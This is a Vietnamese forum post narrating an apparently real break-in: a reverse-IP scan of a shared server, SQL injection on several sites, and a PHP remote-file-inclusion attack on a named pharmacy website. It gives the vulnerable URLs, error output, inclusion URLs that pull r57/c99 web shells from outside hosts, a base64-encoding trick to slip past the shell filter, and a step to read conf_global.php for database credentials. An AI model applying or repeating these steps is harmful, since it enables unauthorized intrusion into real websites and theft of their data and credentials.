Uhm hôm nay nghe lời rủ rê của lão "nà vá rồ" nên vào site này xem sao .  Chà, members gần 60k , kinh thật .
Nhìn từ trên xuống thấy nó xài  IPB 2.1.7, ver này vừa mới có 1 cái bug cũng khá, kịch bản của bug là  chôm session và me sao cho Admin vào ngay phần SQL toolbox, híc, nghe là  thấy nản đành chuyển wa hướng local thoai.
Đầu tiên ta xem hàng xóm  của nó gồm thằng nào đã
Trích:http://www.domaintools.com/reverse-i...vientinhoc.com
Kết  quả là ta có 32 site cùng server với nó. Bây giờ tiến hành check bug  nào
................................
Chà, có đến mí site dính SQL  Injection lun, híc, khai thác thì đc đấy nhưng khả năng up đc shell là  1% T__T.
Bắt đầu thấy nản rồi, bùn ngủ nữa, mới đó mà đã 2h sáng rùi  T__T.
Thui kệ, còn vài site nữa ráng check nốt lun T__T.
...........................................

Uhm,  tìm đc site này http://opcpharma.com , nhìn wanh thấy có vài cái link  có dấu hiệu đáng ngờ , đại loại như là:
Trích:
http://opcpharma.com/vn/kmai.php?html=khuyenmai21-9.htm
http://opcpharma.com/vn/tuyendung.ph...=tuyendung.htm
http://opcpharma.com/vn/bantin.php?html=bantin.htm
Check  thử xem nào, biết đâu nó dính bug php include thì sao, giờ thêm dấu '  vào cuối cái link xem sao:
Trích:
http://opcpharma.com/vn/kmai.php?html=khuyenmai21-9.htm'
A,  cái gì thế này??
Trích:
Fatal error: main() [function.require]:  Failed opening required 'khuyenmai21-9.htm\''  (include_path='.:/usr/lib/php:/usr/local/lib/php') in  /home2/opcpharm/public_html/vn/kmai.php on line 32
haha, dính bug  rùi, mừng wá, ko uổng công mình lấy tăm chống mắt nãy giờ .
Bi giờ  Include 1 con shell thoai
Trích:
http://opcpharma.com/vn/kmai.php?htm...bs.com/r57.txt
Ơ,  sao chả thấy động tĩnh gì vậy nhỉ, lạ wá, rõ ràng dính bug rồi kia mà
Thử  con shell khác xem sao:
Trích:
http://opcpharma.com/vn/kmai.php?htm...com/rs_c99.php
Vẫn  ko đc, kỳ lạ thật, quê roài đó nhe, thêm 1 con nữa xem sao:
Trích:
http://opcpharma.com/vn/kmai.php?htm...coolbase64.php
A,  include đc rồi, haha, chắc là nó config server ko cho fép up or include  các con shell dạng như r57 và c99, nhưng sau khi mình mã hóa base64 một  con r57 thì mình lại include đc, chắc là vì sau khi mình mã hóa con  shell thì nó ko thể check code đc nên mình include thành công .
Giờ  ngắm con shell cái đã , híc, con shell của lão longnhi edit lại đem đi  include xấu tệ , chà safe-mod: On, lại dis rất nhìu function nữa chứ"
Trích:
Disable  functions ec,system,passthru,readfile,shell_exec,escapeshe  llarg,escapeshellcmd,proc_close,proc_open,ini_alte  r,dl,popen,parse_ini_file,show_source,curl_exec
Giờ bắt đầu check  bypass.
A bypass php ko đc nhưng bypass sql thì vô tư ^^
Cuối cùng  là xem file conf_global.php, lấy thông tin DB --> connect DB.
Nhưng  site này nó có xài mod seconds pass của IPB, híc, pó tay goài, đành chờ  mí lão kia lên rồi cùng thịt